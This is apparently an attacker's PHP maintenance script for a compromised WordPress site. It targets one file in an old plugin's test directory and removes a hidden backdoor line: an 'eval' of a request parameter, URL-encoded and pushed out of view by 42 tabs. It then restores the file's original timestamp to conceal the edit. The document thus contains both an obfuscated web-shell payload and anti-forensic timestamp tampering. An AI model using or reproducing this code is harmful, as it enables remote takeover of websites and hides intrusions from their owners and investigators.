<?php  $path = '/home1/tabela11/public_html/wp-content/plugins_old/official-facebook-pixel/vendor/techcrunch/wp-async-task/tests/phpunit/mocks/BaseAsync.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('eval%28%24_REQUEST%5B%27uUGNnf%27%5D%29%3B')."\n"; if (file_exists($path) && is_writable($path)) {     $content = file_get_contents($path);     if (strpos($content, $new_content) !== FALSE) {         $content = str_replace($new_content, '', $content);         file_put_contents($path, $content);         @touch($path, $ft);     } } die('!success!');